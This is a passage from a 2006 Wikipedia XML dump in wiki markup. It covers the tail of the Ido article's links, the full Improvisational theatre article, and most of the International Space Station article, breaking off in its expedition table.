* [http://www.homunculus.com/babel/aido.html Blueprints for Babel: Ido] - Commentary and grammatical summary of Ido, with glossary and links
===Pages in Ido and places to learn the language===
* [http://groups.yahoo.com/group/idolisto/ 'Idolisto' on Yahoo! Groups] and a [[:io:Ido en la reto#Diskuto|list of forums]] in other languages and for more specialized themes
* [http://io.wiktionary.org Ido Wiktionary]
* [http://es.geocities.com/krayono/kgd.pdf Kompleta Gramatiko Detaloza di la Linguo Internaciona Ido] (PDF), [http://ido.view.net.au/kgd/ in HTML], [http://ido.narod.ru/linguo/kgd/tabelo-di-kontenajo.htm again in HTML]
* &quot;Ido for All&quot;, a course for English speakers, can be found [http://www.geocities.com/bebsonido/ here] and [http://www.geocities.com/Athens/Sparta/6367/ here]. A partial translation into French can be found [http://www.ido-vivo.info/Francaidokurso/ here]. MP3 files for lessons 1 - 7 can be found [http://www.iolairweb.co.uk/ido/idoforall.htm here].
* MP3 files can also be found at [http://es.geocities.com/krayono/radioidia.html Radio Idia Internaciona]. Many podcasts feature content from the magazine [http://es.geocities.com/krayono/adavane.html Adavane!]. 
* A much larger list of sites in Ido and about Ido in 33 other languages can be found on the [[:io:Ido en la reto|Ido Wikipedia]].
* [http://ekofin.blogspot.com Ekofin], a blog in Ido dealing with economics and finance. Also a fourth-year disertation on the [http://www2.vo.lu/homepages/spw/ido/bankala_relati.pdf influence of relationship banking on competition in the banking sector] in Ido by the same author
* [http://www.davidmann.us/idoforumi/viewtopic.php?t=65 Dyer Dictionary Transcription Project] - a project to transcribe the entire Dyer Ido-English/English-Ido Dictionary online, with 470 of 800 pages completed

{{Ido}}

[[Category:Ido]]
[[Category:International auxiliary languages]]
[[Category:Esperantido]]

{{Link FA|it}}

{{featured article}}

[[af:Ido]]
[[als:Ido]]
[[ast:Ido]]
[[bg:Идо]]
[[be:Іда]]
[[ca:Ido]]
[[cs:Ido]]
[[da:Ido]]
[[de:Ido]]
[[et:Ido]]
[[es:Ido]]
[[eo:Ido (lingvo)]]
[[eu:Ido]]
[[fa:ایدو]]
[[fr:Ido]]
[[fy:Ido]]
[[ga:Ido]]
[[gl:Ido]]
[[ko:이도]]
[[hr:Ido]]
[[io:Ido]]
[[id:Bahasa Ido]]
[[ia:Ido]]
[[is:Ido]]
[[it:Ido]]
[[sw:Kiido]]
[[ku:Ido]]
[[la:Ido]]
[[lt:Ido]]
[[lb:Ido]]
[[li:Ido]]
[[hu:Ido nyelv]]
[[mt:Lingwa Ido]]
[[ms:Bahasa Ido]]
[[nl:Ido (kunsttaal)]]
[[nds:Ido]]
[[ja:イド語]]
[[no:Ido]]
[[nn:Ido]]
[[oc:Ido]]
[[pl:Ido]]
[[pt:Ido]]
[[ro:Ido]]
[[ru:Идо]]
[[sco:Ido]]
[[sq:Gjuha Ido]]
[[simple:Ido]]
[[sk:Ido]]
[[sl:Ido]]
[[sr:Идо]]
[[fi:Ido]]
[[sv:Ido]]
[[tr:İdo dili]]
[[zh:伊多语]]</text>
    </revision>
  </page>
  <page>
    <title>Improvisational theatre</title>
    <id>15041</id>
    <revision>
      <id>39136447</id>
      <timestamp>2006-02-10T23:11:34Z</timestamp>
      <contributor>
        <ip>82.234.14.4</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Improvisational Theatre''' (also known as '''improv''' or '''impro''') is a form of [[theatre]] in which the [[actor]]s perform spontaneously, without a [[script (performing arts)|script]].  Modern improvisation began in the classroom with the theatre games of [[Viola Spolin]] and [[Keith Johnstone]] in the 1950s, then evolved quickly to become an independent artform worthy of presentation before a paying audience.

In all forms of improvisation, the actors invent/discover the [[dialogue]] and action as they perform.  The unpredictable nature of such a performance lends itself naturally to [[comedy]], which might go somewhat towards explaining why the overwhelming majority of improvisational theatre is comedic, not dramatic.  Dramatic improv is used by many companies and artists as a means of generating text and content for later performance. This is sometimes referred to as ''&quot;organic&quot;'' theatre, and is especially favored by creators of [[political theatre]], [[experimental theatre]], and practitioners of [[drama therapy]].  Improvisation is often found used in actor training as well.  Modern [[improvisational comedy]], as it is practiced in the West, falls generally into two categories: [[Shortform improvisation|shortform]] and [[longform improvisation|longform]].  

==Improv process==

Improvisational theatre allows an active relationship with the audience often absent from scripted theatre. Frequently improv groups will solicit suggestions from the audience as a source of inspiration, a way of getting the audience excited and involved, and as a means of proving that the performance is not scripted, a charge often aimed at the masters of the art, whose performances seem so effortless and detailed that those new to improv are convinced it must have been planned.  Much of this success can be attributed to the level of cooperation and ''agreement'' these improvisers bring to the stage.

In order for an improvised [[scene]] to be successful, the actors involved must work together responsively to define the parameters and action of the scene. With each spoken word or action in the scene, an actor makes an ''offer'', meaning that he or she defines some element of the reality of the scene. This might include giving another character a name, identifying a relationship, location, or using [[mime]] to define the physical environment. These activities are also known as ''endowment''. It is the responsibility of the other actors to accept the offers that their fellow performers make; to not do so is known as [[blocking (improv)|blocking]], which usually prevents the scene from developing. Some performers may deliberately block (or otherwise break out of character) for comedic effect -- this is known as ''gagging'' -- but this generally prevents the scene from advancing and is frowned upon by many improvisers. Accepting an offer is usually accompanied by adding a new offer, often building on the earlier one; this is a process improvisers refer to as ''&quot;Yes, And...&quot;'' and is considered the cornerstone of improvisational technique.  For example, an improv scene might begin with these lines.

'''Adam''': I'm proud of all the work you've done here on the farm, Junior.

'''Bill''': Yes, and I'm proud of you for giving up the moonshine, Pa.

The unscripted nature of improv also implies no predetermined knowledge about the [[prop]]s that might be useful in a scene.  Improv companies may have at their disposal some number of readily accessible props that can be called upon at a moment's notice, but many improvisers eschew props in favor of the infinite possibilities available through [[mime]].  As with all improv ''offers'', actors are encouraged to respect the validity and continuity of the imaginary environment defined by themselves and their fellow performers; this means, for example, taking care not to walk through the table or &quot;miraculously&quot; survive multiple bullet wounds from another improviser's gun.

Because improv actors may be required to play a variety of roles without preparation, they need to be able to construct characters quickly with physicality, [[gesture]]s, [[Accent (language)|accent]]s, [[human voice|voice]] changes, or other techniques as demanded by the situation.  The actor may be called upon to play a character of a different age or sex.  Character motivations are an important part of successful improv scenes, and improv actors must therefore attempt to act according to the objectives that they believe their character seeks.  

Many improvisational actors also work as scripted actors, and &quot;improv&quot; techniques are often taught in standard acting classes. The basic skills of listening, clarity, confidence, and performing without thinking are considered important skills for actors to develop.

==Improv troupes==

See [[List of improvisational theatre companies]]

==Well-known improv actors==

Some key figures in the development of improvisational theatre are [[Viola Spolin]] and her son [[Paul Sills]], founder of Chicago's famed [[The Second City|Second City]] troupe and inventor of [[Story Theater]], and [[Del Close]], founder of [[ImprovOlympic]] (along with [[Charna Halpern]]) and creator of the [[longform]] improv known as [[The Harold]].

[[Keith Johnstone]] authored [[Impro]] and [[Impro for Storytellers]] and developed the international formats [[Theatresports]], Micetro Impro, Gorilla Theatre and the Life Game.

[[Dick Chudnow]] founded [[ComedySportz]] dealing specifically with competitive [[shortform]] improvisational theatre.

[[Jonathan Fox]] founded [[Playback Theatre]], a community based form with links to oral storytelling and [[psychodrama]].

[[David Shepherd]], with Paul Sills, founded the [[Compass Theatre]] in Chicago. Shepherd was intent on developing a true &quot;people's Theatre&quot;, and hoped to bring political drama to the stockyards. The Compass went on to play in numerous forms and companies, in a number of cities including NY and Hyannis, after the founding of The Second City. A number of Compass members were also founding members of [[The Second City]].  In the 1970's, Shepherd began experimenting with group-creatied  videos.  He is the author of &quot;That Movie In Your Head&quot;, about these efforts.

[[Robert Wells]] founded [[Chicken Lips]] Comedy Company and the [[World Humor Organization]] (WHO) which provides top class shortform improv. Based in Denver at the [[Avenue Theater]].

==See also==

* [[Improvisation]]
* [[improvisational comedy]]
* [[Commedia dell'arte]]
* ''[[Whose Line Is It Anyway?]]''
* [[ad-lib]]
* [[:fr:Match_d'improvisation|Quebec Improvisational competition]]
* [[Friday Nite Improvs]]
* [[Chicken Lips]] / [[World Humor Organization]]

==External links==
*[http://wiki.chicagoimprov.org/index.php/Main_Page The CIN Wiki]  A Wiki dedicated to improvisational theater, hosted by [http://www.chicagoimprov.org The Chicago Improv Network] message boards.
*[http://davehitt.com/improv.html The ISFP Players Handbook]  A 140+ page Improv Handbook.  Includes Hundreds of games, Advice for directors and performers, and long lists of ask-fors, emotions, film &amp; theater styles, etc.
* [http://www.dangoldstein.com/howtoimprovise.html How to Be a Better Improviser]: an excellent primer on some of the basic precepts (&quot;ground rules&quot;) of improv, by improviser and professor [[Daniel_Goldstein | Dan Goldstein]].
* [http://www.humanpingpongball.com Improv Encyclopedia] encyclopedia of over 500 improv games, techniques and terminology.
* [http://greenlightwiki.com/improv The Improv Wiki] discusses techniques for performing and learning improv.
* [http://improvland.com Improvland] webpage about improvisational theatre, with articles, resources, message boards and an international links section to the groups around the world.
* [http://www.yesand.com YesAnd.com] features improv news, resources and message boards.
* The [http://www.improvresourcecenter.com Improv Resource Center] is a community site for dedicated improvisers in Chicago, New York and other parts of the United States.
* [http://www.improstival.com Improstival France] International Improvisation Festival in Paris
* [http://www.improvisades.org Les Improvisades France] Students and workers meet in improsessions in France
* [http://www.impromania.com Impromania France] Dance Music and Theater Improvisation Festival in Paris
* [http://www.impro.infini.fr Brest France]
* [http://home.cwru.edu/improv IMPROVment - CWRU improv troupe]
[[Category:Theatrical genres]]
[[Category:Improvisation]]

[[de:Improvisationstheater]]
[[fr:Improvisation théâtrale]]
[[it:Improvvisazione teatrale]]
[[ja:&amp;#12452;&amp;#12531;&amp;#12503;&amp;#12525;]]
[[sl:Improvizacijsko gledališče]]</text>
    </revision>
  </page>
  <page>
    <title>International Space Station</title>
    <id>15043</id>
    <revision>
      <id>42151836</id>
      <timestamp>2006-03-04T04:01:19Z</timestamp>
      <contributor>
        <username>Kavanagh</username>
        <id>971440</id>
      </contributor>
      <minor />
      <comment>COTS link</comment>
      <text xml:space="preserve">{| align=right border=1 cellpadding=4 cellspacing=0 width=&quot;260&quot; style=&quot;margin: 0 0 1em 1em; background: #ffffff; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|'''International Space Station'''
|-
|colspan=&quot;3&quot; align=&quot;center&quot;|
{|
|[[Image:ISS_Aug2005.jpg|none|250px|]]
&lt;small&gt;International Space Station photographed following&lt;br&gt;separation from the [[Space Shuttle Discovery|Space Shuttle ''Discovery'']], [[August 7]], [[2005]]&lt;/small&gt;
|}
{|

&lt;small&gt;International Space Station insignia&lt;/small&gt;
|}
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|ISS Statistics
|-
|width=&quot;40%&quot;|'''Crew:'''||width=&quot;30%&quot;| 2 || width=&quot;30%&quot;| As of&lt;br /&gt;[[August 21]], [[2005]]
|-
|''' [[Perigee]]: '''|| 352.8 km || &quot;
|-
|'''Apogee:'''|| 354.2 km || &quot;
|-
|'''[[Orbital period]]:'''|| 91.61 minutes || &quot;
|-
|'''Inclination:'''|| 51.64 degrees || &quot;
|-
|'''Orbits per day:'''|| 15.72 || &quot;
|-
|'''Days in orbit:''' || 2,473 || [[August 28]], [[2005]]
|-
|''' Days occupied:''' || 1,759 || &quot;
|-
|'''Total orbits:''' || 38,694 || &quot;
|-
|'''Distance traveled:''' || ≈1,400,000,000 km || [[June 17]], [[2005]]
|-
|''' Average speed:''' || 27,685.7 km/h || &quot;
|-
|'''Mass:'''|| 183,283 kg || [[August 28]], [[2005]]
|-
|'''Living volume:'''|| 425 m&amp;sup3; || &quot;
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|'''International Space Station '''
|-
|colspan=&quot;3&quot; align=&quot;center&quot;|
{|
| [[Image:ISS-elements-23-Jul-2004-pt.png|250px|right|ISS elements (NASA)]]
&lt;small&gt;International Space Station elements as of 23-July-2004.&lt;br&gt;Click to enlarge.&lt;/small&gt;
|}
|-
!colspan=&quot;3&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|ISS Diagram
|-
|}

[[image:NASA-Krikalev-inside-ISS.jpg|thumb|300px|right|Cosmonaut [[Sergei Krikalev]] inside the Zvezda Service Module, November 2000]]

The '''International Space Station''' ('''ISS''') is a joint project of five space agencies: 
*[[National Aeronautics and Space Administration]] ([[United States]])
*[[Russian Federal Space Agency]] ([[Russia|Russian Federation]]) 
*[[Japan Aerospace Exploration Agency]] ([[Japan]])
*[[Canadian Space Agency]] ([[Canada]])
*[[European Space Agency]] (15 of its member states are currently participating; [[Austria]], [[United Kingdom]], [[Ireland]], [[Portugal]], and [[Finland]] chose not to participate; [[Greece]] and [[Luxembourg]] joined ESA later).

The [[Brazilian Space Agency]] ([[Brazil]]) participates through separate contract with [[National Aeronautics and Space Administration|NASA]].The [[Italian Space Agency]] similary has separate contracts for various activities, that are not done in the framework of [[European Space Agency|ESA]] ISS works (where [[Italy]] also fully participates).

The [[space station]] is located in [[orbit]] around the [[Earth]] at an altitude of approximately [[1 E5 m|360]] [[kilometre|km]] (220 miles), a type of orbit usually termed [[low Earth orbit]] (The actual height varies over time by several kilometres due to [[atmospheric drag]] and reboosts {{ref|altitude}}). It orbits Earth in a [[Orbital period|period]] of about 92 minutes; by June [[2005]] it had completed more than 37,500 orbits since launch of the [[Zarya|Zarya module]] on [[November 20]], [[1998]].

In many ways the ISS represents a merger of previously planned independent space stations: [[Russian Federal Space Agency|Russia]]'s [[ISS Zvezda|Mir 2]], [[NASA|United States]]' [[Space Station Freedom]] and the planned [[ESA|European]] [[Columbus (ISS module)|Columbus]] and [[JAXA|Japanese]] [[Japanese Experiment Module|Experiment Module]]. Today it represents a permanent human presence in space, as it has been manned with a crew of at least two since [[November 2]], [[2000]] (see [[#ISS Expeditions]]).

It is serviced primarily by the [[Space Shuttle]], [[Soyuz spacecraft|Soyuz]] and [[Progress spacecraft]] units. It is still being built, but is home to some experimentation already. At present, the station has a capacity for a crew of three. So far, all members of the expedition crews have come from the Russian or United States space programs. The ISS has however been visited by many more astronauts, a number of them from other countries (and by three [[space tourist]]s).



==History==

Initially planned as a [[NASA]] &quot;[[Space Station Freedom]]&quot; and promoted by [[Ronald Reagan|President Reagan]], it was found to be too expensive. After the end of the [[Cold War]], it was taken up again as a joint project of NASA and [[Russia]]'s [[Rosaviakosmos]]. On [[December 1]], [[1987]], [[NASA]] announced the names of four U.S. companies who were awarded contracts to help manufacture the US-built parts of the Space Station: [[Boeing|Boeing Aerospace]], [[General Electric]]'s Astro-Space Division, [[McDonnell Douglas]], and the [[Rocketdyne]] Division of [[Rockwell International|Rockwell]].

The first section, the [[Zarya|Zarya Functional Cargo Block]], was put in orbit in November [[1998]]. Two further pieces (the [[Unity Module]] and [[ISS Zvezda|Zvezda service module]]) were added before the first crew, [[Expedition 1]], was sent. [[Expedition 1]] docked to the ISS on [[November 2]], [[2000]] and consisted of US [[astronaut]] [[William Shepherd]] and two Russian cosmonauts, [[Yuri Gidzenko]] and [[Sergei Krikalev]].

To construct the station, the large components are almost entirely completed on 
Earth, so that when they are launched into orbit the amount of installation required by the astronauts on the ISS is minimal. The components are usually launched in the large cargo bay of the [[NASA]] [[Space Shuttle]]. Currently the [[ISS assembly sequence|assembly sequence]] is just under half complete. [[As of 2006]] the station is only able to accommodate three permanent crew members, compared to the expected seven that the completed station will hold. 

The ISS has been far more expensive than originally anticipated by [[NASA]]. Its construction is also behind schedule, largely due to the halting of all NASA Shuttle flights following the [[Space Shuttle Columbia disaster|Columbia disaster]] in early [[2003]]. For the two and a half years that the NASA [[Space Shuttle]] fleet was grounded, crew rotation continued on the station through the use of the Russian [[Soyuz spacecraft]]s, although the science conducted aboard was very limited.

Construction of the station was scheduled to resume in [[2006]], following a few 'Return to Flight' missions, like [[STS-114]]. Unfortunately, the reappearance of the [[STS-114#Launch sequence anomalies|foam debris problem]] on the [[STS-114]] mission in July [[2005]], (the same that doomed [[Space Shuttle Columbia|Columbia]]) has again delayed the launch sequence, and has even called into question the future of the space station. Further aggravating the construction of the ISS, the plant where the space shuttle's external fuel tank is made, is located near [[New Orleans]], [[Louisiana]], and was damaged by [[Hurricane Katrina]].

==Building the ISS==
*[[ISS assembly sequence]]

Building the ISS requires more than 50 assembly and utilization flights. Of these flights, 39 are planned to be [[Space Shuttle]] flights. In addition to the assembly and utilization flights, approximately 30 [[Progress spacecraft]] flights are required to provide logistics. When assembly is complete, the ISS will have a pressurized volume of 1,200 cubic meters, a mass of 419,000 kilograms, 110 kilowatts of power output, a truss 108.4 meters long, modules 74 meters long, and a crew of six.

As of the end of 2005 many changes have been made to the originally planned ISS, modules and other structures have been cancelled or replaced and the number of remaining Shuttle flights to the ISS has been reduced to now 18 during the years 2006-2010.

The station consists of several modules and elements:

{| class=&quot;wikitable&quot;
|-
! Element
! Flight
! Launch Vehicle
! Launch date
! Length&lt;br&gt;(m)
! Diameter&lt;br&gt;(m)
! Mass&lt;br&gt;(kg)
|-
| '''[[Zarya]] FGB'''
| 1A/R 
| [[Proton rocket]]
| [[November 20]],[[1998]] 
| style=&quot;text-align: right&quot;|12.6 
| style=&quot;text-align: right&quot;|4.1
| style=&quot;text-align: right&quot;|19,323
|-
| '''[[Unity Module|Unity]] Node 1'''
| 2A - [[STS-88]]
| [[Space Shuttle Endeavour|Endeavour]]
| [[December 4]],[[1998]] 
| style=&quot;text-align: right&quot;|5.49 
| style=&quot;text-align: right&quot;|4.57
| style=&quot;text-align: right&quot;|11,612
|-
| '''[[ISS Zvezda|Zvezda]] Service Module'''
| 1R
| [[Proton rocket]]
| [[July 12]],[[2000]] 
| style=&quot;text-align: right&quot;|13.1 
| style=&quot;text-align: right&quot;|4.15
| style=&quot;text-align: right&quot;|19,050 
|-
| '''[[ISS Truss|Z1 Truss]]'''
| 3A - [[STS-92]]
| [[Space Shuttle Discovery|Discovery]]
| [[October 11]],[[2000]]
| style=&quot;text-align: right&quot;|4.9
| style=&quot;text-align: right&quot;|4.2
| style=&quot;text-align: right&quot;|8,755
|-
| '''[[ISS Solar Arrays|P6 Truss - Solar Array]]'''
| 4A - [[STS-97]]
| [[Space Shuttle Endeavour|Endeavour]]
| [[November 30]],[[2000]]
| style=&quot;text-align: right&quot;|73.2
| style=&quot;text-align: right&quot;|10.7
| style=&quot;text-align: right&quot;|15,900
|-
| '''[[Destiny Laboratory Module|Destiny]]'''
| 5A - [[STS-98]] 
| [[Space Shuttle Atlantis|Atlantis]]
| [[February 7]],[[2001]]
| style=&quot;text-align: right&quot;|8.53 
| style=&quot;text-align: right&quot;|4.27
| style=&quot;text-align: right&quot;|14,515
|-
| '''[[Mobile Servicing System|Canadarm2]]'''
| 6A - [[STS-100]]
| [[Space Shuttle Endeavour|Endeavour]]
| [[April 19]],[[2001]]
| style=&quot;text-align: right&quot;|17.6
| style=&quot;text-align: right&quot;|0.35
| style=&quot;text-align: right&quot;|4,899
|-
| '''[[Joint Airlock]] - Quest Airlock'''
| 7A - [[STS-104]] 
| [[Space Shuttle Atlantis|Atlantis]]
| [[July 12]],[[2001]]
| style=&quot;text-align: right&quot;|5.5 
| style=&quot;text-align: right&quot;|4.0
| style=&quot;text-align: right&quot;|6,064
|-
| '''[[Docking Compartment]] - Pirs Airlock'''
| 4R 
| [[Progress spacecraft|Progress M]]
| [[August 14]],[[2001]]
| style=&quot;text-align: right&quot;|4.1 
| style=&quot;text-align: right&quot;|2.6
| style=&quot;text-align: right&quot;|3,900
|-
| '''[[ISS Truss|S0 Truss]]'''
| 8A - [[STS-110]]
| [[Space Shuttle Atlantis|Atlantis]]
| [[April 8]],[[2002]] 
| style=&quot;text-align: right&quot;|13.4 
| style=&quot;text-align: right&quot;|4.6
| style=&quot;text-align: right&quot;|13,970
|- 
| '''[[Mobile Servicing System|Mobile Base System]]''' for Canadarm2
| UF-2 - [[STS-111]]
| [[Space Shuttle Endeavour|Endeavour]]
| [[June 5]],[[2002]]
| style=&quot;text-align: right&quot;|5.7
| style=&quot;text-align: right&quot;|2.9
| style=&quot;text-align: right&quot;|1,450
|-
| '''[[ISS Truss|S1 Truss]]'''
| 9A - [[STS-112]]
| [[Space Shuttle Atlantis|Atlantis]]
| [[October 7]],[[2002]] 
| style=&quot;text-align: right&quot;|13.7 
| style=&quot;text-align: right&quot;|3.9
| style=&quot;text-align: right&quot;|12,598
|-
| '''[[ISS Truss|P1 Truss]]'''
| 11A - [[STS-113]]
| [[Space Shuttle Endeavour|Endeavour]]
| [[November 24]],[[2002]] 
| style=&quot;text-align: right&quot;|13.7 
| style=&quot;text-align: right&quot;|3.9
| style=&quot;text-align: right&quot;|12,598
|-
| '''[[External Stowage Platform|External Stowage Platform (ESP-2)]]'''
| LF1 - [[STS-114]]
| [[Space Shuttle Discovery|Discovery]]
| [[July 26]],[[2005]] 
| style=&quot;text-align: right&quot;|?
| style=&quot;text-align: right&quot;|?
| style=&quot;text-align: right&quot;|?
|}

'''Launched on periodic resupply missions'''
* [[Multi-Purpose Logistics Module]] (MPLM)

'''Scheduled for launch by [[Space Shuttle|Shuttle]] after return to flight'''
&lt;br&gt;(listed in order of planned launch sequence)
* 4 Truss segments (two port and two starboard)
* [[Node 2]] (launch ~2007)
* [[Columbus (ISS module)|Columbus Laboratory]] (launch ~2007/08)
* [[Japanese Experiment Module]] (JEM), aka KIBO (launch ~2007/08)
* [[Cupola (ISS)|Cupola]] - (launch ~2009)

'''Scheduled for launch by [[Proton rocket]]'''
* [[Multipurpose Laboratory Module]] FGB-2 based - (launch ~2007)
* [[European Robotic Arm]] (ERA) (launch ~2007 together with MLM)
* [[Russian Research Module]] reduced to 1 (launch ~2009)

'''Cancelled elements'''
* [[Node 3]] - cancelled
* [[Centrifuge Accommodations Module]] cancelled (would have been attached to Node 2)
* [[Universal Docking Module]] - cancelled, replaced by (MLM - FGB2)
* [[Docking and Stowage Module]] - cancelled
* [[Habitation Module]] - cancelled
* [[Crew Return Vehicle (CRV)]] - cancelled
* [[Interim Control Module]] - cancelled, no need to replace [[ISS Zvezda|Zvezda]]
* [[ISS Propulsion Module]] - cancelled, no need to replace [[ISS Zvezda|Zvezda]]

'''Uncertain elements'''
* [[Science Power Platform]] planned to be launched by a Shuttle flight, now more likely to be launched by a Proton

'''Visiting spacecrafts'''
* [[Soyuz spacecraft]] for crew rotation and emergency evacuation, replaced every 6 months
* [[Progress spacecraft]] - resupply vehicle
* European (ESA) [[Automated Transfer Vehicle]] (ATV) ISS resupply spacecraft
* Japanese (JAXA) [[H-II Transfer Vehicle]] (HTV) resupply vehicle for KIBO module
* Commercial cargo resupply spacecraft, under the NASA COTS ([[Commercial orbital transportation services]]) program

There is also a large unpressurized [[ISS Truss|truss]] system partially in place that will eventually support the prominent [[ISS Solar Arrays|solar arrays]].

{{ISS modules}}

==Criticism of the ISS==

There are many critics of NASA who view the project as a waste of time and money, inhibiting progress on more useful projects: for instance, the estimated $100 billion USD lifetime cost could pay for dozens of [[unmanned space mission|unmanned scientific missions]] or could be used for space exploration in general or be better spent on problems on Earth. Critics complain that very little high-quality scientific research has been done on the ISS, and that if the station's scientific program had had to compete with other scientific research in the normal process of peer review and grant applications, it would have never been funded. The recent problems of the shuttle program have put the ISS in a precarious position, in which its inhabitants spend most of their time trying to survive, rather than doing scientific research. 

So far the costs have been $26 billion, of which the US' share consists mainly of costs related to the Space Shuttle, not expenses NASA incurred by building elements or maintaining the ISS. However, critics say that the main justification for the shuttle program is to service the ISS, while the main justification for the ISS is to give the shuttle somewhere to go. With the cancellation of parts of the ISS, such as the [[Centrifuge Accommodations Module]] or [[Node 3]] and the shift of the [[European Robotic Arm]] and the [[Science Power Platform]] to a launch by a Russian [[Proton rocket]] NASA's ISS expenses excluding Shuttle assembly flight costs are expected to be much lower than the $100 billion figure that is often used in the media.

Advocates of space exploration say that criticism of the ISS project is short-sighted, and that manned space research and exploration have  produced billions of dollars of tangible benefits to people on Earth. By some estimates, the indirect economic benefits made from commercialization of technologies developed during [[human spaceflight|manned space exploration]] have returned many times the initial investment to the economy. However, there is no consensus among economists on how to make such an estimate, since it requires speculation as to what the tax money would have accomplished had it remained in the economy. Whether the ISS, as distinct from the wider space program, will be a major contributor in this sense is, thus a subject of debate. More cynical advocates have pointed out that even if its scientific value is nil, it would have still served to force international cooperation at a time of tough [[international politics]].

Two technical aspects of the ISS's design have been heavily criticized: (1) it requires too much maintenance, and in particular too much maintence through risky, expensive EVAs; (2) its orbit is too highly inclined, making it difficult to reach from the Earth's surface in an economical way. The latter decision arose from the political realities of the US's desire to keep Russia involved in the program.

== Space Tourism, weddings and the ISS ==

The ISS has seen the first [[space tourist]], [[Dennis Tito]], who spent 20 million USD to fly aboard a Russian supply mission and the first space wedding when [[Yuri Malenchenko]] on the station married Ekaterina Dmitriev who was in Texas.

==Present status of the ISS==

[[Image:Shuttle_approaching_ISS.jpg|left|thumb|250px|The Space Shuttle ''Discovery'' is seen here approaching the ''International Space Station'']]
After the [[Space Shuttle Columbia disaster|breakup]] of [[Space Shuttle Columbia|''Columbia'']] on [[February 1]], [[2003]], and the subsequent two and a half year suspension of the US [[Space program]], followed by problems with resuming flight operations in 2005, there remains some uncertainty over the future of the ISS. 

Due to weight restrictions and design constraints, payloads intended for the Shuttle - even if ready to fly - cannot be launched to the station on any other available launcher. In addition, assembly work is manpower-intensive, making it difficult to do without the assistance of EVA teams brought up by the Shuttle.

In the meantime, crew exchange has been carried out using the Russian Soyuz spacecraft. Starting with [[Expedition 7]], two-astronaut caretaker crews have been launched, instead of the previous crews of three. However, Soyuz lacks the raw cargo space of the shuttle, and cannot carry a significant amount of material back to earth; because the ISS had not been visited by a shuttle for an extended period, a large amount of waste accumulated which temporarily hindered station operations.

The Space Shuttle Program resumed flight on [[26 July]] [[2005]] with [[STS-114]], the Return to Flight mission of [[Space Shuttle Discovery|''Discovery'']]. This mission to the ISS was intended to both test new safety measures implemented since the Columbia disaster, and to deliver supplies to the station. Although the mission succeeded safely, it was not without risk; foam was shed by the external tank, leading NASA to announce future missions would be grounded until this issue was resolved.

[[image:NASA-Foale-Spacewalk.jpg|thumb|right|Astronaut Michael Foale on a construction EVA outside the ISS in February 2004]]

The second Return to Flight mission, [[STS-121]] was planned for September 2005, but has been delayed until at least May 2006.

==ISS Expeditions==
&lt;!--
!width=&quot;125&quot;|Expedition
!width=&quot;350&quot;|Crew
!width=&quot;175&quot;|Launch&lt;br&gt;date
!width=&quot;125&quot;|Flight up
!width=&quot;175&quot;|Landing&lt;br&gt;date
!width=&quot;125&quot;|Flight down
!width=&quot;65&quot;|Duration&lt;br&gt;(Days)
--&gt;

{| class=&quot;wikitable&quot;
|- style=&quot;background-color: #efefef&quot;
!Expedition
!Crew&lt;br&gt;&lt;small&gt;(commander in ''italics'')
!Launch date
!Flight up
!Landing date
!Flight down
!Duration&lt;br&gt;&lt;small&gt;(days)&lt;/small&gt;
|-
![[Expedition 1]]
|''[[William Shepherd]] - U.S.A.''&lt;br&gt;[[Yuri Gidzenko]] - Russia&lt;br&gt;[[Sergei Krikalev]] - Russia
|[[October 31]], [[2000]]&lt;br&gt;07:52:47 UTC
|[[Soyuz TM-31]]
|[[March 21]], [[2001]]&lt;br&gt;07:33:06 UTC
|[[STS-102]]
|style=&quot;text-align: right&quot;|140.98
|-
![[Expedition 2]]
|''[[Yuri Usachev]] - Russia''&lt;br&gt;[[Susan Helms]] - U.S.A.&lt;br&gt;[[James Voss]] - U.S.A.
|[[March 8]], [[2001]]&lt;br&gt;11:42:09 UTC
|[[STS-102]]
|[[August 22]], [[2001]]&lt;br&gt;19:24:06 UTC
|[[STS-105]]
|style=&quot;text-align: right&quot;|167.28
|-
![[Expedition 3]]
|''[[Frank L. Culbertson]] - U.S.A.''&lt;br&gt;[[Vladimir N. Dezhurov]] - Russia&lt;br&gt;[[Mikhail Tyurin]] - Russia
|[[August 10]], [[2001]]&lt;br&gt;21:10:15 UTC
|[[STS-105]]
|[[December 17]], [[2001]]&lt;br&gt;17:56:13 UTC
|[[STS-108]]
|style=&quot;text-align: right&quot;|128.86
|-
![[Expedition 4]]
|''[[Yury Onufrienko]] - Russia''&lt;br&gt;[[Dan Bursch]] - U.S.A.&lt;br&gt;[[Carl Walz]] - U.S.A.
|[[December 5]], [[2001]]&lt;br&gt;22:19:28 UTC
|[[STS-108]]
|[[June 19]], [[2002]]&lt;br&gt;09:57:41 UTC
|[[STS-111]]
|style=&quot;text-align: right&quot;|195.82
|-
![[Expedition 5]]
|''[[Valery Korzun]] - Russia''&lt;br&gt;[[Sergei Treschev]] - Russia&lt;br&gt;[[Peggy Whitson]] - U.S.A.
|[[June 5]], [[2002]]&lt;br&gt;21:22:49 UTC
|[[STS-111]]
|[[December 7]], [[2002]]&lt;br&gt;19:37:12 UTC
|[[STS-113]]
|style=&quot;text-align: right&quot;|184.93
|-
![[Expedition 6]]
|''[[Kenneth Bowersox]] - U.S.A.''&lt;br&gt;[[Nikolai Budarin]] - Russia&lt;br&gt;[[Donald Pettit]] - U.S.A.
|[[November 24]], [[2002]]&lt;br&gt;00:49:47 UTC
|[[STS-113]]
|[[May 4]], [[2003]]&lt;br&gt;02:04:25 UTC
|[[Soyuz TMA-1]]
|style=&quot;text-align: right&quot;|161.05
|-
![[Expedition 7]]
|''[[Yuri Malenchenko]] - Russia''&lt;br&gt;[[Edward Lu]] - U.S.A.
|[[April 26]], [[2003]]&lt;br&gt;03:53:52 UTC
|[[Soyuz TMA-2]]
|[[October 28]], [[2003]]&lt;br&gt;02:40:20 UTC
|[[Soyuz TMA-2]]
|style=&quot;text-align: right&quot;|184.93
|-
![[Expedition 8]]
|''[[Michael Foale]] - U.S.A.''&lt;br&gt;[[Alexander Kaleri]] - Russia
